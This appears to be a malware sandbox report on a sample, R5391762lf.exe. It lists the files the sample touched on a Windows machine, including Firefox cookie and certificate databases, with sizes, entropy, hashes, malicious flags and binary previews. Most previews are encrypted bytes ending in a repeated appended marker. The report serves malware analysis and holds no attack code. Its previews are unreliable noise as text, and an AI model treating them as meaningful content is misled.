,.....,.EqE#....].......XeD;x.....{.....`.x(...N..G......DO.....\|K.....3G.9..})h...U.B..N.....$..........=....f..6...(.u................5.1Z]..aX..*...pv.an.f..Z..w_.@m.Pl.MZ.6...M..Ez..6....f.B.uO]D....qd...cL.Tp. ...@@._0.....k.~..x......!... N....BW7e..K..2......<....T.y.=24K....iSc(9....g. ...-.A.l.w....g.V.z.]MN.....eA.g......q.O"%<e./aQ........O...O

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7e4dca80246863e3.customDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.238633813860497
Encrypted:	false
SSDEEP:	6:8xUUbbqCt8imvgOnnWpgRVKZsYmNXbD5HPzPaWyhe7UItXqHk7T3eWcii96Z:8xUUynYuWusjm7LeEXqOTuWcii9a
MD5:	412F319423EFDA50D73FBC2D473B1B53
SHA1:	63BE2BD07CF6B3231D8933544D44ADEB3862FE1E
SHA-256:	40D78D1881879C9E02E9E8E631D20D9D6718371210F8A96E13F58F6D0FBBD7FB
SHA-512:	9AFFF4296A931131AE3CA53A33A8647D628A192DEE9208AE62BB44124C0C52FA0C9A35CD5F63BB9EA9EDA634E8B552CA8F8055BDEBD6D8228DBEBB010A570D5F
Malicious:	false
Preview:	.......c.z.......\|.nm...[A.a)q..5.T).3g.VU,...( .0..U}....6..B.4q.AB.........`..{w.d..wUV.....`...)..BR....%..=..6..\|P..N......w.!.......Q.!..!........M_....H......&h.?.....}...a.?..g..A.....j...}'....:....@.Y.,...Q3.KY7T.a...u....?.\....7.U...K.._...Z]h..hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f01b4d95cf55d32a.customDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.243182869579136
Encrypted:	false
SSDEEP:	6:hVCS8vTEzhDLKCWuZhYKYGM8umcFFA9Sx5GsgdEQf5OUqeRxX1ItXqHk7T3eWciD:hQjOLKaZOJFmS3Gvd6zwFKXqOTuWciik
MD5:	4AE04673451D19CE9C8686B83EC9AB7B
SHA1:	74A5A3A97AFE2A4E62C605D54D49F726F2EE362B
SHA-256:	D3FCBAB10D619381ECB503E9F8377F9316CA6AF264E696990029C8FAC13F8FEF
SHA-512:	9BCC2D57DFF01226B7240DAAD268B94AAE7E8A4BC1ABC3927BDF662E9B7D5FBE902E52FE9152770A9D07E938A2AFFF8936B33F5A60216B09FF767A54C4CDD72C
Malicious:	false
Preview:	.....J.N&.10.;.o.J....!4....Cz..".5:.#...&........<..$=..W...u.........K..S.1..\|..i......rq... 4..$}&7f..gDp.t..c.#....J......;.3f.[........\|y..>.....C.`\|............+..q.~...w.G;..a...c.....1.......u.1.8.8..a.B'g..#.Mq.....)..Uya5..bO..."L.....ns@f.....1..hMb.5.c.R.w.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f18460fded109990.customDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2909048851515506
Encrypted:	false
SSDEEP:	6:nBKh8gRVhPq7sChPMRxXXK93ig/LC4zvafmd5Do4ERS1QZtXqHk7T3eWcii96Z:ncZRVhPW0RM9iGKfmLo4E01QvXqOTuWX
MD5:	65DED68E4BCD89863A6B7FD317EA5410
SHA1:	CF3270CEE9C4CF7D7FD008F486AA8E479215DAEF
SHA-256:	DFA353F0AD3B12C55329206EB729142D27C5B850BD7F0335FAED4CDC931A1ECE
SHA-512:	2A91805ADE0C72980C88AB24A0F8CB73BBACD48FEFD4B58F0491AB121D9B8C7005F6E315A6707161C1EFF578DF8E2072F92FE7B4036E9508C406608EC1FBCB66
Malicious:	false
Preview:	.......4Y.......".]..P{....!.3...a..8....G.[.p....._....<O.I.........+.h.RM.i.[D.....<u..\|.......U..br6.eo...?.w.".67..&.(..@.=.......'..c...K.......yj4.g.2......8.Z..i..Er..k..F..xZ...GH.....{v@..[n;..KY..h...9.]....$3.=.......vF.."o.G;...7.....S5.G....:k...-Hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.85101747449334
Encrypted:	false
SSDEEP:	24:om/naw6Xmu7JqbN7k+NEs7LD1YV4tWz8vNRE6B6a7u3ZZV+UjiupVNWlWVIMauJK:om/rYCqsYStWz76BZ2X+kiupVN1VJYXp
MD5:	5110FFD65E0011FF037E9E8B77D404BB
SHA1:	69124C7ED6DC1895E1EF66E7D0004015E071A126
SHA-256:	621CA9158CDFCFCAB977356F2B22F2D94A21CBD28EB525992B1C72C573503F49
SHA-512:	4BEC2D21C4B2651610F08779C79308FBC6CF237C36D257CC4CA3ACC78B51E2E37DE35F07D15B3A2DF871F472054CDA8C4236D8E6F941C04A512995F1610A2021
Malicious:	false
Preview:	L....i$.....O...~.0.}v_...\M.h3..M..y..S.R......RZ).Yb9...c..(+`.\O.p8.1..s....C..sQ.qU..E.EE.........&.xv..h..(..N4....'O.....S.:..r\7N..?\|.;.....'.^..^.G.....-.J.nZ...i b.Us.._.."..A.-]..5r?..........%...Oi.^..../\L.1.6)..% ....A....@.0...r.R....9.W.I(dz%.g~.D%U?....Ed.J6..8.`......Yd..t..Z......B.8...yin.\..#..u...f...R/+6?R(.t[...4......D/.@(QhW>.:[V(,....4.f.m.U.,..&.X4...zb.gm..W.A....K.o..[I.P@....x..P.f!....(.u%.e.....(#.x.P.3/o..`....`./.Z..3.P..4...Ia.#Yf..].#.D.\.Yj.........{..BZ.y.]".....d].r"..[8.Z.xt. X...40.."a8...Mi...-`7o..CT..O.XL^ eb..."L.<..=_]z5....-...KJ.r2`...xa"...e..H...r..6?.r..P3.;..LB.......z...4l.%...NK]%!...]..V.....T?^..we..a"X._a..._.XO+...+.$..........9.a..N...>..S.....4,.;Z...f....8...0D.OK....V.k..7S.I.....c...O.u.Y..!...2..w....p.,..o...$.d>Y.&. i.....1..:U...n.........@......z.Ex...h..F..&Qj.`..Q...="./.......a@-...B...1.........1%P.R....eG&..dO(.....0D...".ugr83....N[.N.z.m..e..o...LId/../F.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.20968058934173
Encrypted:	false
SSDEEP:	6:aVBdeQjI/BxGKe0RYbv/Agvbzx1WqVKFxpGtiy+YYqItXqHk7T3eWcii96Z:a78QkVe/bvX/x2F/GtiyRHKXqOTuWciD
MD5:	23B3ABB0DD4344A88E2AF787A6D3CD87
SHA1:	2623C610ABB72FBFA0BC024DF2F25ADB94B2CDC7
SHA-256:	BDEE9B91A5B5B4D9283687132821E1581906AE473EF01770A87DBE908855D69F
SHA-512:	89B304D737E32F4353161FFED36EE1BC1339C0911C56BF0C96813BB9B38DB60E89946A6D82C13502AA8DC32723C07817019D5A28AE3D5E8A047261126BF53D98
Malicious:	false
Preview:	deskt.F...h.y..#hT.....s....W.W.X......r.f..Z...oo....^O...w.....^.%.z....8P..e....w.-h.....=.x..cw.J{..:..>].s........Yt53.Mb.U4..Tp...z..+..n!M...v4.8....J..a....T.I.N'..5..^;....~.......`.'z...PL.U..#5...c.}.uCfY......I.D...B*\6......{...Y.;.v..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	68018
Entropy (8bit):	7.99728154149815
Encrypted:	true
SSDEEP:	1536:cEWtAaYB4qHXqeXi7R9pPCfgzPQQUJjKTduJl/cadK0CCs+:cEWiXvH6Oi7R9lsQUJjSuXLY5+
MD5:	98E2C1999CC1DA4099BE297C40267A67
SHA1:	4022D83473A99497F59E572F228C7EE068C5DDF4
SHA-256:	E37A87B3FA393B3C814F04828C2BCA98AF95E3A20C1488938F29ABDBC31A7EE9
SHA-512:	C5D9E4BEB42F41DF2D6CFAAF5A1DE18F688456F59BF954EA14F046CD39CDF89EFBDDBD3FAAB23ED213A053BC6BF9ECBAA2700E01ED135F4A7AAEA86B9AE07A39
Malicious:	true
Preview:	........\|........#74.f{-.........$n.....dJ%29H...%.W].6......a....<#.....:...&.D.>.F..31........6......\Z2.1m...\|U.=mN=...J.]..Gn&0K...z. .6..d.j.}#Ns.`.M..;.bX.\q ..V.{..K...7...WI..i....88\....DJ.=..U..J...`../...l.........hs..@...."65..QJ.u+.....#....\.P+:.wd)......n..A.Y..Ky.q\.qj......5;....6...M.T....p...%.7T.:^.mqNR.Rshb.N).[.n.z.........A.I#.x..~.DX.....\|.L...@...R.Q...b..7..kL....w.w....\....1.....Sz.]&Ih.....'..:...F...l...._..b....<.6......Zo.t./....YA.`jN..y.nP.....x..yD(........s.. ..$..'.....%%...$..;J...wA..2....w@....q.....y.>9.. `f.q...Ah..5....1...kL.NV....t....{.......w......<.x......#I.3........h..m..k......!vg...2.w.9......)..+....P..I..o....g0.y.h.}.:><,.`..k%(._..pE.5!.?...:}...e..q..rR...O.~.e...^...sg..j.......7hJ.m..z.S...7..\|"9.m....iY]s....>,2.....].@..:Z..lc6..M...^.H........YK...."3...zqbOC.p..Bs`Q......]<0W.;T..m..X.%._e1~1E.l7e..H!<.O..I.^..F......V..^ ./.;.#.$..x.u...q.G.V..cO.m.9...#...6..#.s.#_.+..N.d(..

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.502720921375265
Encrypted:	false
SSDEEP:	12:2J2loZbDkNbUSNt6H+HG9ucJpmAXrFZoxI/wSuWVzXqOTuWcii9a:29IbJ2JPnd/CWVzXq8uWbD
MD5:	EABF7FBFA967F77D2CA99B7BCD2301B5
SHA1:	D0CAC5AB96600C1B1F7A7206B395B7B74CF4C8B7
SHA-256:	E711374ED7767B6495B1CD609D666EF06D152C4E723654DAD4F093D8F85BA341
SHA-512:	50453F00104EA92ACFCC106368F29968BB715656022F024C3755994FE0ACDD45E695909BD28E797D55C714ADF7BB9BEDEFB8783AD90852810E150F9F9DB4EA9A
Malicious:	false
Preview:	https..[L.....9:...0w..P..vb.b...2.t^.....RH..1W.G..R}.5-?.0G..Xj0!.....dv.gpeb..ux.8.?.#.DD..E5..T....s.~......(:.....ca.T..Ky..^..3..YnL...4.MA..Cr&GI..:.c..........x....].w..5'>...:L.v.......1.......T.v..F....8....$.3.$P..d.....6..?~...q.e.......}Bf.8.Fz.i>.ZMaZ)...b5...zd*.....{..\|?.....f./~..$./h(hn.K.em.,.5.....1.a,.@.!(R..gg.).j......^.^\|...Z.-.k...l.I.R.&..o.-....Ls..n.uq..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.928221308289959
Encrypted:	false
SSDEEP:	48:YcYI6pp/eU1juobOn3CgN6MJxtjYq4C+FtMrse8aKlTSO+FnRxHB+pPBQKJt8ZEs:tYI6pcWjVOnSgN6MJxtjUC+F2x8aaSVV
MD5:	CFE8FE6996782E0E427717C1384CC677
SHA1:	AE64FEC7CF0B685C409ABA2CF359BF90028D7C47
SHA-256:	0551B80BDE7882281EE2530932AE97E2E5AB3A0D70F37D1D8D55090C9E8BFDBA
SHA-512:	46371572D70E6DC97C5202E353F76403517C61ED1F0EBAE4B81AD6A85418F4D785D8273E25AE31971381FACD11F4738CB854B47D2D483DDF0234F52565FAA61F
Malicious:	false
Preview:	{"csv..5.J........]S........Bu..7....Z.5o:.-..pR}.7.K...4.[h.Rs%..^.Tc.VfM....g..._.c#.Hd~k.O.d.$.go.r.#...H......U&#..P..I.T..z...eAW-!X..)'...0}N..<;...4....:-.....0._.?L.y.<..Y.Du../-..h..y....S.n....x.f.HB...N....=...#/.+@P..~..p9...%.:.!.,....\|. ...#...Mw.Q....t....%.b.S..%....G.....90..\8..=]...7M..q.........n....@....". ....51O8B....&dJ.;........]......eH.o.$9...d.86s...:.......O..3$.C..u...%o.(.G.)m."+.;...\..{xLb..................M....6....V....q._....)]^cJi..,k9.B.......u.........\|g..t.L.$..%..C..s..bP..%....q..4.=..+...<.d....I.II..Lq...v.#.JFV4.2......#.hL[.$m.j(.X..D.G...,...H..;.......K(...w..F.#8=..F...1T. ..3\|./\..n..M...V.Q..@^@.......?.\.&..k...EE..S...BUlOl..............]%-.I......5I...h'.4%...;pk.s:...H......@.Ik6.R,......;..C?1...p..q...'...........PR....z...,~..S......O.....L..D.d.7z*.41Z........g%t=...{..9......b.=./.".....ncF#..(.....V..<.M.0..._..9.m..xI.C..O..4......LW)&.Z......6..2.K...m.m......P.]Ze.D...

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.724753610408841
Encrypted:	false
SSDEEP:	24:8MzWfDZXD1hgTO7RqU1vM46lRNn71/UhKXq8uWbD:8eaRD1mS7RJ1vI9CKXFuED
MD5:	D207AFB5A3C6DCE5C19EC29A42C46596
SHA1:	9390168004B0AB7ECFA11C23DB408DBD4A7D88E2
SHA-256:	405700C390EBEEB78587DA293CEAD6012D1698D66CF0ED64862963C9347C52C2
SHA-512:	03D8C4923F16A89462642FC462F9AEDEAB097073C3EBA34158C23E58DE6303A9475230A1085ECDA1AF3C06640FAD65012B81EC2CC722E5182B4488D1435DA9C4
Malicious:	false
Preview:	aus5....D>.jE..?.W4L..J..m..'$.ID...p%...J..x...C......=....C...9...O.U.F.R(\.%3.u,.....k..DaW.. .\|.,N=.@LPrj.Z...G....W.B\|7A1..C...J..b.S1.../.P}H..0...F...x...h.e8..@r....^%(i.q..6S.z..'..`...i..5.U.Z.[./..\O.......p.8+C4.uQ.@&..!f.B`..o:s.s....X...-T....f;&.E.v.P..Z-^q-m.O.Mj..X..c...._W;kT=.q.7iJQ..D.`.........eXK..4.R.1.-_:......>X....i..M...m>+Dxo.{.W.{.ua.%..*.......S.$m.N.W;J.=.#.t..=Y.[.......W...N......Ae.....w..2.{...._.........M.f\|...X-.!.............sM..q...V".......g..Q[.~....\|...\...!t.S..DS.=..jq..6+...`i.7rkq...ZvY}.....UtS..T.....V...w.....=..v.t.=.?.$7..A...,...cZ.m<LM.....}s.B.@.2..Cm.s.,b..G.d...p...i.R.x(e@....M.U.e....GO.d.....)...Dm_A....\...0o....9....S.o......n]..H.....{._..l).. ..8......Juh2...].2 rU..^.t...E..@....x.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5756
Entropy (8bit):	7.970465148544515
Encrypted:	false
SSDEEP:	96:F+v2YyHR3P+qX0egXj0OyzCfzD4kQitMSUdLYUZXSG01DGVVbGQwlnkAuxmkFfml:8v2dHJW9Rj0lCvXQizEL7pSG01MSQcnN
MD5:	9BD4A2475ABF464B5EEA934D48853A16
SHA1:	231E714E85B38421C9B402753C4D28E1CE46EE2D
SHA-256:	0AB2270399EB7A991FC95EB0318A98C92F4B8285E289A33DE27214AFED5A7039
SHA-512:	C79BF59B9D35A04BF279E8C67DEED51E7F48FA04B13EC471E8EE56284D3B344EB897A5912AD0EE623621FA6F0D2A5B621E9B4B7259D88D8171E58D4DDB19B8AF
Malicious:	false
Preview:	mozLz..C.g}.s......sqIN.k.T.e..... .L....S....,~8&.Wh.O..^..?.t.....+.9.g..B]F.g.K.Cp...H.h...'}.3(U....R.).....Q`\..3..~.cX..\|..:p..........}...~.F+....i.q.YJ......o..1..R.......v".j.Z..k.v.6.E.@....a...........w....y....FI....b.M../=M..."..t.i^X..("I.@2.L..h"..L...5.W..Lh..F..a&.K..o.....v..9.WgF..<......c...]B.q.(..-..3..u...u..\|.......g.y.&..{v..m.X.x.OF.......mNG...{....>......}...(.1..b.&...d#g;.....(c.^....B..#.~......U8.o......IR.;..7..<...\.....V.5...X/.@.ug...f@\|+.I..`.$...,"-{....Z.D..[..TT................!0r~.:&fz. .F..=.3r`3.W`..c.k..i..}..%....?..+..G...}....@..yaI.-..[..{c............=..=y..a..I...j..4......zu[..EJ....O...?....Q...y.6zP.U..O..QO.mcl..l<u{..+....'.j.f...\cl...V..@1......vXb.....(.......QH.f9'.....6EF....Z.<...P..C..wa.;.......%{c....F...fy...p....Eq.X..\|...S.9...].8.V..G..1.....cix.<.".e..........h....E..F..O.y.D.....2.m..../..GVD.'..4.x:.{\..?.+:.....EJp..b........L^...W.RCb.G.O..-Wz..>.X.6.....

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.313331073731502
Encrypted:	false
SSDEEP:	6:YWGdpN4ZX042wBstVADp3NzBQZ28ycncZPhSxIKVtXqHk7T3eWcii96Z:YWGdjUg+k213NtQ1cZsZXqOTuWcii9a
MD5:	06546278EA1841F5ABB718B11DDE26E2
SHA1:	5928E020691287D83576300C515B459DD0AAFB05
SHA-256:	F656B47FDDD6CF185C153C73ABD3214F53B16A830AE9220E9528F7B3F76C60B5
SHA-512:	9FE7DB741C4087BEF69B99101144F211BD875CD31F395BB54DB2B1F26CF686515E312DECB193123B8DDAC0F32E42AAC8266A10CB69DE2F7282DC5EB66195A854
Malicious:	false
Preview:	{"schPx........fh.....k...A.....;.N.....J..Wv...L............(.d...?.d.c....O6.zZH........E..$Ia..ef.$x......b.W.....:/....7@..d..K.*...WF.....N.[....j..._......e.d...&]u.\+,zr@W.A..&.O....9..im5'.<..I!.q..7.l..\|..U..}.2Y...9i.W..t..Fn.5....2...A?...x.m/.8.o.w/._..".X.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	229710
Entropy (8bit):	6.278551543165541
Encrypted:	false
SSDEEP:	3072:TQ0zp0qgGu3vOe+J00Cj1G0TrnMOMNKilj0E3C67syvR6axfiRuEzN9:M80T32e+sj9rnHfilLy6Z56sfKN/
MD5:	D4814E1DAFE0CE672C7702F9E0257FA1
SHA1:	EE4E255F7A52136ECEE697CA05128BEDBB60B3DE
SHA-256:	945F82F4ED6E4F9179CC4344F5E6ECAE8F2292C83A7CED3D11FE9A536993CC7E
SHA-512:	9E227725AFE27C3E40895F15D942A6A1B6587DFFEA907D072114F45EA92C7F309B47E72E34C703BD76EB4D5B55F1B5C9CA0EFE32C8306144C2849C66CA841A5E
Malicious:	false
Preview:	SQLitQ$m1VW..p.T.SJ...L...h..@.`=.6F...>..`S.W..N.;...U].t.tWwh.`...v......Z....f...8. !n...x._...Pf.:....P9k.m...qEP.......l....#.:D...9.=].:.:+.;.}.......N....<.U(>...tF.e..<..I.X\C.lk.B.........A[i.Wk.....b........X...)cQQ.C..t.EA.NF.O.....@.W7...."YZx.7R.u.Y.`.t..... `.w.`..C].......NU........[...,.g,.}&.!.1...m.......Z..d.....w.%D... ......o'............?..y...0.,.l.@2-P.6.......A..z...F.D.'ga.+......<.&h..=....Y..e....}..P.=.R.B$..6..i.jxPU\|......`.Z....\9....a...X.q.F........;......%...U..9.......X...:.HG.o5.....@.....R...q.Qy.8...r.h..iK..eh..C...5...n_f..rQ.B... .]Z......4.<+...-.....R.a.M....d..Mr%.'fm.....S....?.C<.7...&..\Z..{..\*.o....t.>..~=7.W....Hd+......&...R..b.U:0w..sd...{..z......O@Q=.{B...&-.....+...b873......I..J.......&...%;.<..E.x=.Y?..r.K./...fU....h.7H...Qy._...7...6k..=.. .....K.4E....%....b..H....)O..V8.N\...6.....O.....;#zU.....[..fn\Yt%u~....6.(.x.R...-....W....2&..a....J.t...}...="...TN.......r;.?.$....

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.832644938647252
Encrypted:	false
SSDEEP:	24:YWT8dp6IjlevwdqEX1ULwNi23NlQuTDaXBhMrhO92CvS/6t8yUta+AXq8uWbD:YWYCIBmKBKLwb3PVDabMkIXtcXFuED
MD5:	24D52B569740844493EC14055C74C3F6
SHA1:	EC804E6ABFFBC46C2051F701AA3ECDCDAADDCF28
SHA-256:	271C91FD79B69FBA1D805284186F1AA32578E8D4D008F1DED53F8FA31EB6967B
SHA-512:	67B48D8C9C4554A1EB30E28BA7401311AA06374D8F5A03E6B798E9406075321A7DDBBEE80F24E928133BDCD96C13D3D3FB4D854A861729EC233265C57DD7AB69
Malicious:	false
Preview:	{"ver&..rH%.0....&..=.......!.w4vL.....g..d..(].....@..$^.N...!.z.........2..%.........&T(M.}s..;....4.Q=..,.or.....C..@E...f&......##...j.w ....`..q9."..)v......../+.eG.`..{`.=].@g-...k ...st&F....B............L...g....Yf...p{.Z>)..,..q^......+j...9",...s..4..td.s.....I..^O.L...G.i(^.="%..)A.d.S.O..Y...4..>".;s-.#2j.....5Y.._g.r..`.6...]...c......A..1.ps!.:...\|...G_....~..0.......<.\.fo .k.... .V="..i..r..X..q(.f..."...+H.(t.J...3.O;..P..ee.,....D...F..a.a.u.......M.'.u\....s.s8...RiY.......S.....Y..Z.....AJ..8......7,.!X..........;..'k...~.U.b.z......H..DI...$..m`.....4(..G=0..F.2..Q.\g>@..?:\|.......hh\.\.Q.h.}w8..@.....=O.z9..5.....4....F......._n...Ar..W.h.Mf..#....."..a. .._..?G......MWC.g.#..T.t.]..,.-:...!"&e.//..g..G.G.........k...........n...).w..?..r.a(.B.F.".F.W.....!k.:..7...e..zm"..M.q>...R..............'....(!.D!...U.b=.......5..F....,.m...fh.._.......C>"....?c..N"^3.../..lf....N..U...Z\...t!..G\.?...uL.d.g.+S\|

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.6487954542030305
Encrypted:	false
SSDEEP:	3072:Ri3vAUZIt8qao5IE9bzjokv3H6TbSENP6cJiq73c/DRNjC0m2j3nSb+A:dUuanwjoImvYq732DXjCvi3U
MD5:	7AE5DD80AD4516AE847BE1FFD74C14DD
SHA1:	DA96C80579735AE937F845AE5D1D6E365C3B58AA
SHA-256:	6BA2E073446B5256844D50187FC6013A913745C7DB8D728089B41B990917AB4E
SHA-512:	C07B986FB0E164D9ABF296C6F343B17B3CAA0340381542D17A5761B08CAA948E6FA98275F7337D781251605338BBE84AEA99FCB255A9B90B8FF320B404C8C62D
Malicious:	false
Preview:	SQLit.].`.{....qC.l.....9+{......1....+.....?.\...N,.....F.......h..=.I.......a..Z....I......<..!...R.E....y%E..}.....Kh^.......M....zS....>.i....aA.Q&3....#...n..CM..G.V...[.%.........7.$..%..%..c..F......;.g..P.%Qq.q.}..'..@....oV.u.i..Lb-z.....kG....P.Sp...kB9..^h.:.w.}....q..z(...>...P.=.3-@...J.Wy.....5#...L..O.....'........L.z...>.7Y.....E.P.R.R.<suq..!61..#y.....vb...v.Je..U.j..M.%k....i._...f...........A...;..]Dg..2O.X..6....QU.\y.@.[.a.2Y..^Fa...47......:wh`.#.......B.B&....v.....r...i.C....;.)...O.H..A.;Ox..p,..O..?........'/.p..%...l.8)m..l,j..7...X...0..V..!m]_.8J(=>....\.'.]..m.d../...K."..[)...1N...W.U/=V..y...(.B.>.B..!....#.Z...?.b~B3.\....#...1.8..Ol....!.n......c6D.:.....;.ev.......z......r....x....)...a.....6}.V......x.i..i QE....y(.jP.......0..!.0.^..>E...l.R......h...J.'....].....X;..^:....m....(.N.z.h.mSG..)..t.a.&O{......z.I.(B..]...4.^.U.Tz..X..N. ..k..:H""....E.A.8..>..9. ...Rc.2....Q............F.}C.h

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997942442336908
Encrypted:	true
SSDEEP:	3072:IrFhTrSdgBO9TjketYF4W0c4G8gr/j1NeW:g9rUgBMTDtLW05gr//J
MD5:	8A9A57ABD21B77D8CFF62CA221DA3A11
SHA1:	312F7137B2B774BE8E3F62A7CE5A8F31FF48A8AB
SHA-256:	CF4067D51A1F4A116F033B62566461C3CED24CD6D12B28949B9B7D05CA0AD23C
SHA-512:	8883BFF625911B427B53862D29FD0D38EF33055A04B64E1A5D5CA4ADF7614C94CAAD933CDDA3DA266C3F1991EC1E4A6B3E99F1F0A321FDFB9F6700A24F132DBC
Malicious:	true
Preview:	SQLit.]......5.am....=q...Z...Q\|_..gRq&V.I[H..fbH.#..)=!.s..:R8.`Q/....Q.3=^wa....a...V.=.&..l.2.4..J.x..9...nl.........]q.u. [....i7(.^.d..&.8.m...n..x....i-.6NZ.....`..X.....y?^u...}...8..I.xO%.....:...U.e...7.]z.U...`.E..yu: .0':?..\|.]'&.3\h..D.k.U..Q"..wi.+"m.....5p..< .....L.2.q...]..s.S.....Q...\...V.p.T8....Fs.`U.i..D.n.......@.M.....a. .79A.dtT..\..>...;....F$:...).9e...@..y.nBV..3p.....Cf.D..SX.....V.)......G,...F!.../...2#?w.gl...?[.....=.6..p..s.&.!...fQ.....To.M!......M..6tc.@.{."..~...?...@....y...U....R...q..?......p...&.n....m.`.b@.!.E.,...A.P.N....1..?..X.\....a.N.-NK.G....e..ay.......Cp(.:......{.O.zk...q:..........,._H.$mW\|Xl.....@<Ab..P7...G....=J......\.Z.G.Ud...w...A(...C1j(..!..2.{....v.....7.r....V..Y}.Q.^.a.V.h..8.S_kK..UH.g....L.:q.T..)?j+..W...6..[.^............0Oz.z..Y..D.b.a.L..W.e...1.(....w.....f.^..K#...?...b...0_. .$ou..<.H.E..$....o,.a..........I.S.Z{.n..D)!.aV.gQ.z[Ah.K.....R..@....c,..{.....P....R

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994848482244208
Encrypted:	true
SSDEEP:	768:UZaH2TQr8cJ1jwf22El6hqZu8Q23kNC8CmWxbZ5z0q:U4WTQrRZmNJWxnzX
MD5:	17A94C3F2FE8AE0147A626CEC51CC8A8
SHA1:	3C5D6B7D0083BE089542135DDD042D9ACA62730A
SHA-256:	5AED1766A98FCA127A7C8699C772328E9D016B3FF3B8452FA77D2D544CAF4C2A
SHA-512:	34229D26C71A0483DC753D6DDC8C7807E5365972A8C8F59C34B6A1A915F517549F671B6A0D4B977BF68B66EE2908DB1AD68F711B4153EF29F9213929DEF0C5C6
Malicious:	true
Preview:	..-....R.b{.-....v..p.U..=.CdwZ.....o..I../.....".<.&N,.:On~$@.....M..?...uI... .A#.....v..k..=..BW..h1x..........>..'...%....=.......:.f......i^...t;....a.~.v.............a....Y.....5IT/@..)..j..J.xmls..b374p.....:.$t.Jq.ys....$....r.X..'...J....Q.~.s...@....6UE.".....n.]i..2..Ui.S..R...0.....l..)._^>....L...'.vz....w.............?....@.....V._~.";<.4..}]....6.DV.Rr...6.w..G.t..FQB.C[u.z/..m...e...c...]..,.o^gpu.3.O....4...}),.fO/.b......W.X..GV#...L.Q...........).D.....JS.o...h..s.w......e9..Y.6E.h9..0..9Q....\o..#.....W/...J....n..HP.e....qI..h"a{.....G......,..z>.M.U6........R..\....5,DC..u.X.2......3K..=."....4..L............d...GvJ...0...U:..b.4..C`.k9D(0^.....vP.@.`.........J.N.wn.%`....a"Y7N......cQ.Z..vn.u....`.....k.....I. 